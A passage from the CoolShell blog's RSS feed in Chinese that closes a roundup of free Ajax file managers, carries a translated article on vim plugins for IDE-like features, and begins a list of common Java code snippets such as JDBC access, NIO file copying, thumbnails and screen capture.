</li>\n<li>上传文件进度条 </li>\n<li>缩略图预览（包括PDF文件） </li>\n<li>多用户和帐号</li>\n</ul>\n<p><strong>链接：</strong></p>\n<ul>\n<li><strong>演示：</strong><a href=\"http://ecosmear.com/relay/demo/\">http://ecosmear.com/relay/demo/</a></li>\n<li> <strong>主页：</strong><a href=\"http://ecosmear.com/relay/\">http://ecosmear.com/relay/</a></li>\n</ul>\n<p> </p>\n<div id=\"livedownload\"><a class=\"livedemo\" href=\"http://ecosmear.com/relay/demo/\" target=\"_blank\"></a><a class=\"livedownload\" href=\"http://ecosmear.com/relay/\" target=\"_blank\"></a></div>\n<h3 class=\"title\">6. <a href=\"http://kfm.verens.com/\">Kae’s File Manager</a></h3>\n<p class=\"img\"><img decoding=\"async\" src=\"http://devsnippets.com/img/file-manager8.jpg\" alt=\"Ajax File Manager\" /></p>\n<p>KFM 是一个在线的文件管理器，它可以单独使用或是以一个插件的方式给一些编辑器使用。比如这些编辑器：FCKeditor 或TinyMCE。KFM 是一个开源的免费的项目，下面是它的一些特性：</p>\n<ul>\n<li>鼠标拖放功能</li>\n<li>图标显示，列表显示</li>\n<li>支持插件</li>\n<li>图片操作，幻灯片播放</li>\n<li>简单的安装和升级</li>\n<li>文本编辑时语法高亮</li>\n<li>搜索引擎</li>\n<li>标签</li>\n<li>多语言</li>\n<li>mp3 和视频播放插件</li>\n</ul>\n<p><strong>链接：</strong></p>\n<ul>\n<li><strong>演示：</strong><a href=\"http://kfm.verens.com/demo/1.3.1/?lang=en\">http://kfm.verens.com/demo/1.3.1/?lang=en</a></li>\n<li><strong>主页：</strong><a href=\"http://kfm.verens.com/\">http://kfm.verens.com/</a></li>\n</ul>\n<p> </p>\n<div id=\"livedownload\"><a class=\"livedemo\" href=\"http://kfm.verens.com/demo/1.3.1/?lang=en\" target=\"_blank\"></a><a class=\"livedownload\" href=\"http://kfm.verens.com/\" target=\"_blank\"></a></div>\n<h3 class=\"title\">7. <a href=\"http://extplorer.sourceforge.net/\">eXtplorer</a></h3>\n<p class=\"img\"><img decoding=\"async\" src=\"http://devsnippets.com/img/file-manager7.jpg\" alt=\"Ajax File Manager\" /></p>\n<p>eXtplorer 特性如下：</p>\n<ul>\n<li>文件目录浏览</li>\n<li>编辑，复制，移动，删除文件</li>\n<li>搜索，上传和下载文件</li>\n<li>创建和释放压缩文件</li>\n<li>创建文件和目录</li>\n<li>更改文件和目录权限</li>\n<li>其它更多更多的内容</li>\n</ul>\n<p><strong>链接：</strong></p>\n<ul>\n<li><strong>主页：</strong> <a href=\"http://extplorer.sourceforge.net/\">http://extplorer.sourceforge.net/</a></li>\n</ul>\n<p> </p>\n<div id=\"livedownload\"><a class=\"livedemo\" href=\"http://extplorer.sourceforge.net/extplorer.png\" target=\"_blank\"></a>文章：<a href=\"http://devsnippets.com/article/ajax/7-free-powerful-file-managers.html\" target=\"_blank\">来源</a></div>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/9749.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/06/javascript-150x150.jpg\" alt=\"Javascript 装载和执行\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9749.html\" class=\"wp_rp_title\">Javascript 装载和执行</a></li><li ><a href=\"https://coolshell.cn/articles/4795.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" alt=\"开源中最好的Web开发的资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4795.html\" class=\"wp_rp_title\">开源中最好的Web开发的资源</a></li><li ><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/02/1128-150x150.jpg\" alt=\"Web开发人员速查卡\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_title\">Web开发人员速查卡</a></li><li ><a href=\"https://coolshell.cn/articles/2593.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg\" alt=\"Web版的VNC\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2593.html\" class=\"wp_rp_title\">Web版的VNC</a></li><li ><a href=\"https://coolshell.cn/articles/2053.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg\" alt=\"最为奇怪的程序语言的特性\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2053.html\" class=\"wp_rp_title\">最为奇怪的程序语言的特性</a></li><li ><a href=\"https://coolshell.cn/articles/1850.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/11/programming_language-150x150.jpg\" alt=\"Javascript程序员嘴最脏??\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1850.html\" class=\"wp_rp_title\">Javascript程序员嘴最脏??</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/909.html\">7个免费强大的Ajax文件管理器</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/909.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>6</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>将vim变得简单:如何在vim中得到你最喜爱的IDE特性</title>\n\t\t<link>https://coolshell.cn/articles/894.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/894.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[Neo]]></dc:creator>\n\t\t<pubDate>Sat, 23 May 2009 08:32:05 +0000</pubDate>\n\t\t\t\t<category><![CDATA[编程工具]]></category>\n\t\t<category><![CDATA[vi]]></category>\n\t\t<category><![CDATA[vim]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=894</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>原文出处:这里 摘要： 开源的vim文本编辑器提供许多灵活而强大的功能，但是vim自身是很难被配置使用的，在本教材中，我们将向你显示通过几个简单的方式使得你的v...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/894.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/894.html\">将vim变得简单:如何在vim中得到你最喜爱的IDE特性</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>原文出处:<a href=\"http://arstechnica.com/open-source/guides/2009/05/vim-made-easy-how-to-get-your-favorite-ide-features-in-vim.ars\">这里</a></p>\n<p><strong>摘要：</strong><br />\n开源的vim文本编辑器提供许多灵活而强大的功能，但是vim自身是很难被配置使用的，在本教材中，我们将向你显示通过几个简单的方式使得你的vim具有集成开发环境IDE的行为</p>\n<p>vim是很多程序员和系统管理员最爱的文本编辑器，虽然他提供了很多优秀而灵活的功能，但是对于新手来说他依然是难于上手的。从传统集成开发环境转到vim的开发人员通常会开在发方式的转变中发现迷失了自己。</p>\n<p>我经常收到来自于读者的邮件，他们希望能找到一种方式使得vim变得对开发者更友好。一个常见的抱怨是vim并不是自身就带有IDE的特性，并且如何来通过配置能得到等价IDE功能也不是很清晰。而揭开vim真正神奇的秘密就是利用强大的vim插件系统和对vim自身功能的改善和增强的第三方脚本。在阅你读本文之前，我已经整理好了一个vim的有用tips和插件列表，这些列表中的内容将会使那些用惯IDE功能的人们在vim上感到宾至如归的感觉。</p>\n<p><span id=\"more-894\"></span></p>\n<p>虽然vim主要是设计给基于字符方式的文本编辑器，并且它有可能是这类编辑器中最高效的工具，但是现在在vim上也存在一些更适合新手使用的基于图形的外壳。不像运行在终端窗口上的vim，你可以尝试使用一下gvim,一个基于GUI的vim版本。gvim拥有可配置的的菜单和工具条，因此可以通过鼠标直接访问到vim的编程上的最本质的特性。gvim可以让你使用操作系统自带的文件对话框，并允许你通过鼠标点击拖拉编辑面板的能力。gvim有windows和linux的版本，等价的Mac OS X的版本是MacVim，MacVim提供了Mac机的本地Cocoa用户接口，包括菜单集成的功能。<br />\n<a rel=\"attachment wp-att-896\" href=\"https://coolshell.cn/?attachment_id=896\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-896\" title=\"vimtxt_gvim_ars\" src=\"https://coolshell.cn/wp-content/uploads/2009/05/vimtxt_gvim_ars.jpg\" alt=\"vimtxt_gvim_ars\" width=\"708\" height=\"648\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/05/vimtxt_gvim_ars.jpg 708w, https://coolshell.cn/wp-content/uploads/2009/05/vimtxt_gvim_ars-300x275.jpg 300w, https://coolshell.cn/wp-content/uploads/2009/05/vimtxt_gvim_ars-295x270.jpg 295w\" sizes=\"(max-width: 708px) 100vw, 708px\" /></a></p>\n<p>我听到来自vim用户最经常被抱怨的功能是vim的编辑区列表非常麻烦，并且没有一种简单的方式可以明了的看到什么文件是打开的。在vim上有几个插件可以解决这个问题，并提供了一个额外的编辑区列表用于方便在打开文件中切换。我最喜欢的一个插件是<a href=\"http://www.vim.org/scripts/script.php?script_id=159\">MiniBufExplorer</a>，它将列表显示在窗口的头上。当MiniBufExplorer被激活时，你可以通过tab键来在列表的这些项中循环，然后通过回车键或双击鼠标来选择在编辑区显示和你要处理的文件。<br />\n<a rel=\"attachment wp-att-898\" href=\"https://coolshell.cn/?attachment_id=898\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-898\" title=\"vimtxt_vim_minibufexplorer_ars\" src=\"https://coolshell.cn/wp-content/uploads/2009/05/vimtxt_vim_minibufexplorer_ars.jpg\" alt=\"vimtxt_vim_minibufexplorer_ars\" width=\"478\" height=\"393\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/05/vimtxt_vim_minibufexplorer_ars.jpg 478w, https://coolshell.cn/wp-content/uploads/2009/05/vimtxt_vim_minibufexplorer_ars-300x246.jpg 300w\" sizes=\"(max-width: 478px) 100vw, 478px\" /></a></p>\n<p>许多的IDE工具都有用于显示你程序项目结构和允许你通过鼠标在特定的类和方法间跳转的代码导航区。你可以通过使用流行的<a href=\"http://vim-taglist.sourceforge.net/installation.html\">Tag List 插件</a>来得到这个特性。这个插件需要<a href=\"http://ctags.sourceforge.net/\">Exuberant Ctags</a>实用工具，这个工具用于分析你的代码。TagList可以通过命令:Tlist来激活，并将你的类和方法显示在激活的区域，当你打开其他的文件或切换到其他打开文件时，新的类或方法会被加到代码导航区。在gvim中你可以通过单击方法名跳到对应方法定义。如果要使用键盘，那么通过光标键上下移光标到你希望的方法处，单击回车即可达到目标。</p>\n<p><a rel=\"attachment wp-att-895\" href=\"https://coolshell.cn/?attachment_id=895\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-895\" title=\"vimtxt_vim_taglist_ars\" src=\"https://coolshell.cn/wp-content/uploads/2009/05/vimtxt_vim_taglist_ars.jpg\" alt=\"vimtxt_vim_taglist_ars\" width=\"720\" height=\"854\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/05/vimtxt_vim_taglist_ars.jpg 720w, https://coolshell.cn/wp-content/uploads/2009/05/vimtxt_vim_taglist_ars-252x300.jpg 252w\" sizes=\"(max-width: 720px) 100vw, 720px\" /></a></p>\n<p>自动文本完成(<strong>译者注</strong>：就是eclipse，visual studio中常见的输入前几个字符后面的内容通过列表显示的功能)是另外一种在IDE工具中常用特性，并且很多用户都希望在vim中有这些特性。这个特性已经在vim7中通过<a href=\"http://vim.wikia.com/wiki/Omni_completion\">Omnicompletion system</a>被引入进来。它是可编程，这就意味着你可以通过定制，使的这个功能能在各种个样的编程语言中使用，在vim中甚至存在对动态语言python或ruby生效的自动文本完成功能。现在，自动文本完成的配置已经变成了vim包中的一个部分，所以现在你可以什么都不做就能让这个功能生效。要调出自动完成菜单(列表)，你需要敲下ctrl+x和ctrl+o键，接着你可以用ctrl+n和ctrl+p在可能完成列表中进行上下选择，当你移动到一个选项，vim将为你在另外一个Scratch区域显示带方法说明和属性的上下文帮助信息。<br />\n<a rel=\"attachment wp-att-897\" href=\"https://coolshell.cn/?attachment_id=897\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-897\" title=\"vimtxt_vim_completion_ars\" src=\"https://coolshell.cn/wp-content/uploads/2009/05/vimtxt_vim_completion_ars.jpg\" alt=\"vimtxt_vim_completion_ars\" width=\"708\" height=\"850\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/05/vimtxt_vim_completion_ars.jpg 708w, https://coolshell.cn/wp-content/uploads/2009/05/vimtxt_vim_completion_ars-249x300.jpg 249w\" sizes=\"(max-width: 708px) 100vw, 708px\" /></a></p>\n<p>你可以多种方式来改善你的vim体验，<a href=\"http://vim.wikia.com/wiki/Main_Page\">vim维基vim wiki</a>和<a href=\"http://www.vim.org/scripts/index.php\">脚本库script repository</a>为你提供了可用于增强功能的第三方增强扩展集合。这些插件实现sinppet system，outlining tools，项目管理工具，和大量的其他的特性。同时还有大量的脚本实现了对某些特定编程语言和框架的增强。例如有一个<a href=\"http://www.vim.org/scripts/script.php?script_id=1567\">非常流行的脚本</a>，这个脚本将会改善你Ruby的语法高亮，并且为你Ruby on Rail的部署提供了非常方便的导航特性</p>\n<p>同时也有一些<a href=\"http://cream.sourceforge.net/\">面向新手的脚本集合</a>，这个集合使得vim的行为变得更像一个带有简单菜单和快捷键的传统的文本编辑器。如果你对vim那些神秘键盘命名感到不舒服的话，你可以选择这个作为你使用vim的开始。</p>\n<p>vim的多样性使得它满足不同的用户使用。对于那些没有时间，能力，和爱好去通过自己去建立一个完美vim配置的人来说，无数的第三方脚本和插件为你提供了一种简单的方式，通过这种方式你可以付出很少的努力就能得到你想要的功能和特性。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/7166.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/04/vimadventuresgamefun-150x150.jpg\" alt=\"游戏：VIM大冒险\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7166.html\" class=\"wp_rp_title\">游戏：VIM大冒险</a></li><li ><a href=\"https://coolshell.cn/articles/3125.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/10/horrorstories.txt-150x150.jpg\" alt=\"主流文本编辑器学习曲线\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3125.html\" class=\"wp_rp_title\">主流文本编辑器学习曲线</a></li><li ><a href=\"https://coolshell.cn/articles/3083.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" alt=\"三个教程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3083.html\" class=\"wp_rp_title\">三个教程</a></li><li ><a href=\"https://coolshell.cn/articles/3013.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/09/biolab-150x150.jpg\" alt=\"一些非常有意思的杂项资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3013.html\" class=\"wp_rp_title\">一些非常有意思的杂项资源</a></li><li ><a href=\"https://coolshell.cn/articles/11312.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/03/success_vim-150x150.jpg\" alt=\"无插件Vim编程技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11312.html\" class=\"wp_rp_title\">无插件Vim编程技巧</a></li><li ><a href=\"https://coolshell.cn/articles/8883.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/01/linux-bash-300x225-150x150.jpg\" alt=\"应该知道的Linux技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8883.html\" class=\"wp_rp_title\">应该知道的Linux技巧</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/894.html\">将vim变得简单:如何在vim中得到你最喜爱的IDE特性</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/894.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>39</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>20非常有用的Java程序片段</title>\n\t\t<link>https://coolshell.cn/articles/889.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/889.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sat, 23 May 2009 07:09:36 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Java语言]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[Java]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=889</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>下面是20个非常有用的Java程序片段，希望能对你有用。 1. 字符串有整型的相互转换   String a = String.valueOf(2);   //...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/889.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/889.html\">20非常有用的Java程序片段</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>下面是20个非常有用的Java程序片段，希望能对你有用。</p>\n<p><strong>1. 字符串有整型的相互转换</strong></p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\"> \nString a = String.valueOf(2);   //integer to numeric string  \nint i = Integer.parseInt(a); //numeric string to an int \n\n</pre>\n<p><span id=\"more-889\"></span><br />\n<strong>2. 向文件末尾添加内容</strong></p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\"> \nBufferedWriter out = null;  \ntry {  \n    out = new BufferedWriter(new FileWriter(”filename”, true));  \n    out.write(”aString”);  \n} catch (IOException e) {  \n    // error processing code  \n} finally {  \n    if (out != null) {  \n        out.close();  \n    }  \n} \n</pre>\n<p><strong>3. 得到当前方法的名字</strong></p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">\nString methodName = Thread.currentThread().getStackTrace()[1].getMethodName(); \n</pre>\n<p><strong>4. 转字符串到日期</strong></p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\"> \njava.util.Date = java.text.DateFormat.getDateInstance().parse(date String); \n</pre>\n<p>或者是：</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\"> \nSimpleDateFormat format = new SimpleDateFormat( &quot;dd.MM.yyyy&quot; );  \nDate date = format.parse( myString ); \n</pre>\n<p><strong>5. 使用JDBC链接Oracle</strong></p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">\npublic class OracleJdbcTest  \n{  \n    String driverClass = &quot;oracle.jdbc.driver.OracleDriver&quot;;  \n \n    Connection con;  \n \n    public void init(FileInputStream fs) throws ClassNotFoundException, SQLException, FileNotFoundException, IOException  \n    {  \n        Properties props = new Properties();  \n        props.load(fs);  \n        String url = props.getProperty(&quot;db.url&quot;);  \n        String userName = props.getProperty(&quot;db.user&quot;);  \n        String password = props.getProperty(&quot;db.password&quot;);  \n        Class.forName(driverClass);  \n \n        con=DriverManager.getConnection(url, userName, password);  \n    }  \n \n    public void fetch() throws SQLException, IOException  \n    {  \n        PreparedStatement ps = con.prepareStatement(&quot;select SYSDATE from dual&quot;);  \n        ResultSet rs = ps.executeQuery();  \n \n        while (rs.next())  \n        {  \n            // do the thing you do  \n        }  \n        rs.close();  \n        ps.close();  \n    }  \n \n    public static void main(String[] args)  \n    {  \n        OracleJdbcTest test = new OracleJdbcTest();  \n        test.init();  \n        test.fetch();  \n    }  \n} \n</pre>\n<p><strong>6. 把 Java util.Date 转成 sql.Date</strong></p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">\njava.util.Date utilDate = new java.util.Date();  \njava.sql.Date sqlDate = new java.sql.Date(utilDate.getTime()); \n</pre>\n<p><strong>7. 使用NIO进行快速的文件拷贝</strong><br />\n </p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">\npublic static void fileCopy( File in, File out )  \n            throws IOException  \n    {  \n        FileChannel inChannel = new FileInputStream( in ).getChannel();  \n        FileChannel outChannel = new FileOutputStream( out ).getChannel();  \n        try \n        {  \n//          inChannel.transferTo(0, inChannel.size(), outChannel);      // original -- apparently has trouble copying large files on Windows  \n \n            // magic number for Windows, 64Mb - 32Kb)  \n            int maxCount = (64 * 1024 * 1024) - (32 * 1024);  \n            long size = inChannel.size();  \n            long position = 0;  \n            while ( position &lt; size )  \n            {  \n               position += inChannel.transferTo( position, maxCount, outChannel );  \n            }  \n        }  \n        finally \n        {  \n            if ( inChannel != null )  \n            {  \n               inChannel.close();  \n            }  \n            if ( outChannel != null )  \n            {  \n                outChannel.close();  \n            }  \n        }  \n    } \n</pre>\n<p><strong>8. 创建图片的缩略图</strong></p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">\nprivate void createThumbnail(String filename, int thumbWidth, int thumbHeight, int quality, String outFilename)  \n        throws InterruptedException, FileNotFoundException, IOException  \n    {  \n        // load image from filename  \n        Image image = Toolkit.getDefaultToolkit().getImage(filename);  \n        MediaTracker mediaTracker = new MediaTracker(new Container());  \n        mediaTracker.addImage(image, 0);  \n        mediaTracker.waitForID(0);  \n        // use this to test for errors at this point: System.out.println(mediaTracker.isErrorAny());  \n \n        // determine thumbnail size from WIDTH and HEIGHT  \n        double thumbRatio = (double)thumbWidth / (double)thumbHeight;  \n        int imageWidth = image.getWidth(null);  \n        int imageHeight = image.getHeight(null);  \n        double imageRatio = (double)imageWidth / (double)imageHeight;  \n        if (thumbRatio &lt; imageRatio) {  \n            thumbHeight = (int)(thumbWidth / imageRatio);  \n        } else {  \n            thumbWidth = (int)(thumbHeight * imageRatio);  \n        }  \n \n        // draw original image to thumbnail image object and  \n        // scale it to the new size on-the-fly  \n        BufferedImage thumbImage = new BufferedImage(thumbWidth, thumbHeight, BufferedImage.TYPE_INT_RGB);  \n        Graphics2D graphics2D = thumbImage.createGraphics();  \n        graphics2D.setRenderingHint(RenderingHints.KEY_INTERPOLATION, RenderingHints.VALUE_INTERPOLATION_BILINEAR);  \n        graphics2D.drawImage(image, 0, 0, thumbWidth, thumbHeight, null);  \n \n        // save thumbnail image to outFilename  \n        BufferedOutputStream out = new BufferedOutputStream(new FileOutputStream(outFilename));  \n        JPEGImageEncoder encoder = JPEGCodec.createJPEGEncoder(out);  \n        JPEGEncodeParam param = encoder.getDefaultJPEGEncodeParam(thumbImage);  \n        quality = Math.max(0, Math.min(quality, 100));  \n        param.setQuality((float)quality / 100.0f, false);  \n        encoder.setJPEGEncodeParam(param);  \n        encoder.encode(thumbImage);  \n        out.close();  \n    } \n</pre>\n<p><strong>9. 创建 JSON 格式的数据</strong></p>\n<p>请先阅读<a href=\"http://viralpatel.net/blogs/2009/02/creating-parsing-json-data-with-java-servlet-struts-jsp-json.html\"><span style=\"color: #366799;\">这篇文章</span></a> 了解一些细节，<br />\n并下面这个JAR 文件：<a href=\"http://viralpatel.net/blogs/download/json/json-rpc-1.0.jar\"><span style=\"color: #366799;\">json-rpc-1.0.jar (75 kb)</span></a></p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">\nimport org.json.JSONObject;  \n...  \n...  \nJSONObject json = new JSONObject();  \njson.put(&quot;city&quot;, &quot;Mumbai&quot;);  \njson.put(&quot;country&quot;, &quot;India&quot;);  \n...  \nString output = json.toString();  \n... \n</pre>\n<p><strong>10. 使用iText JAR生成PDF</strong></p>\n<p>阅读这篇<a href=\"http://viralpatel.net/blogs/2009/04/generate-pdf-file-in-java-using-itext-jar.html\"><span style=\"color: #366799;\">文章</span></a> 了解更多细节</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\"> \nimport java.io.File;  \nimport java.io.FileOutputStream;  \nimport java.io.OutputStream;  \nimport java.util.Date;  \n \nimport com.lowagie.text.Document;  \nimport com.lowagie.text.Paragraph;  \nimport com.lowagie.text.pdf.PdfWriter;  \n \npublic class GeneratePDF {  \n \n    public static void main(String[] args) {  \n        try {  \n            OutputStream file = new FileOutputStream(new File(&quot;C:\\\\Test.pdf&quot;));  \n \n            Document document = new Document();  \n            PdfWriter.getInstance(document, file);  \n            document.open();  \n            document.add(new Paragraph(&quot;Hello Kiran&quot;));  \n            document.add(new Paragraph(new Date().toString()));  \n \n            document.close();  \n            file.close();  \n \n        } catch (Exception e) {  \n \n            e.printStackTrace();  \n        }  \n    }  \n} \n</pre>\n<p><strong>11. HTTP 代理设置</strong></p>\n<p>阅读这篇 <a href=\"http://viralpatel.net/blogs/2009/04/http-proxy-setting-java-setting-proxy-java.html\"><span style=\"color: #366799;\">文章</span></a> 了解更多细节。</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\"> \nSystem.getProperties().put(&quot;http.proxyHost&quot;, &quot;someProxyURL&quot;);  \nSystem.getProperties().put(&quot;http.proxyPort&quot;, &quot;someProxyPort&quot;);  \nSystem.getProperties().put(&quot;http.proxyUser&quot;, &quot;someUserName&quot;);  \nSystem.getProperties().put(&quot;http.proxyPassword&quot;, &quot;somePassword&quot;); \n</pre>\n<p><strong>12. 单实例Singleton 示例</strong></p>\n<p>请先阅读这篇<a href=\"http://viralpatel.net/blogs/2009/01/java-singleton-design-pattern-tutorial-example-singleton-j2ee-design-pattern.html\"><span style=\"color: #366799;\">文章</span></a> 了解更多信息</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\"> \npublic class SimpleSingleton {  \n    private static SimpleSingleton singleInstance =  new SimpleSingleton();  \n \n    //Marking default constructor private  \n    //to avoid direct instantiation.  \n    private SimpleSingleton() {  \n    }  \n \n    //Get instance for class SimpleSingleton  \n    public static SimpleSingleton getInstance() {  \n \n        return singleInstance;  \n    }  \n} \n</pre>\n<p>另一种实现</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">\npublic enum SimpleSingleton {  \n    INSTANCE;  \n    public void doSomething() {  \n    }  \n}  \n \n//Call the method from Singleton:  \nSimpleSingleton.INSTANCE.doSomething(); \n</pre>\n<p><strong>13. 抓屏程序</strong></p>\n<p>阅读这篇<a href=\"http://viralpatel.net/blogs/2009/01/how-to-take-screen-shots-in-java-taking-screenshots-java.html\"><span style=\"color: #366799;\">文章</span></a> 获得更多信息。</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">\nimport java.awt.Dimension;  \nimport java.awt.Rectangle;  \nimport java.awt.Robot;  \nimport java.awt.Toolkit;  \nimport java.awt.image.BufferedImage;  \nimport javax.imageio.ImageIO;  \nimport java.io.File;  \n \n...  \n \npublic void captureScreen(String fileName) throws Exception {  \n \n   Dimension screenSize = Toolkit.getDefaultToolkit().getScreenSize();  \n   Rectangle screenRectangle = new Rectangle(screenSize);  \n   Robot robot = new Robot();  \n   BufferedImage image = robot.createScreenCapture(screenRectangle);  \n   ImageIO.write(image, &quot;png&quot;, new File(fileName));  \n \n}  \n... \n</pre>\n<p> </p>\n<p> 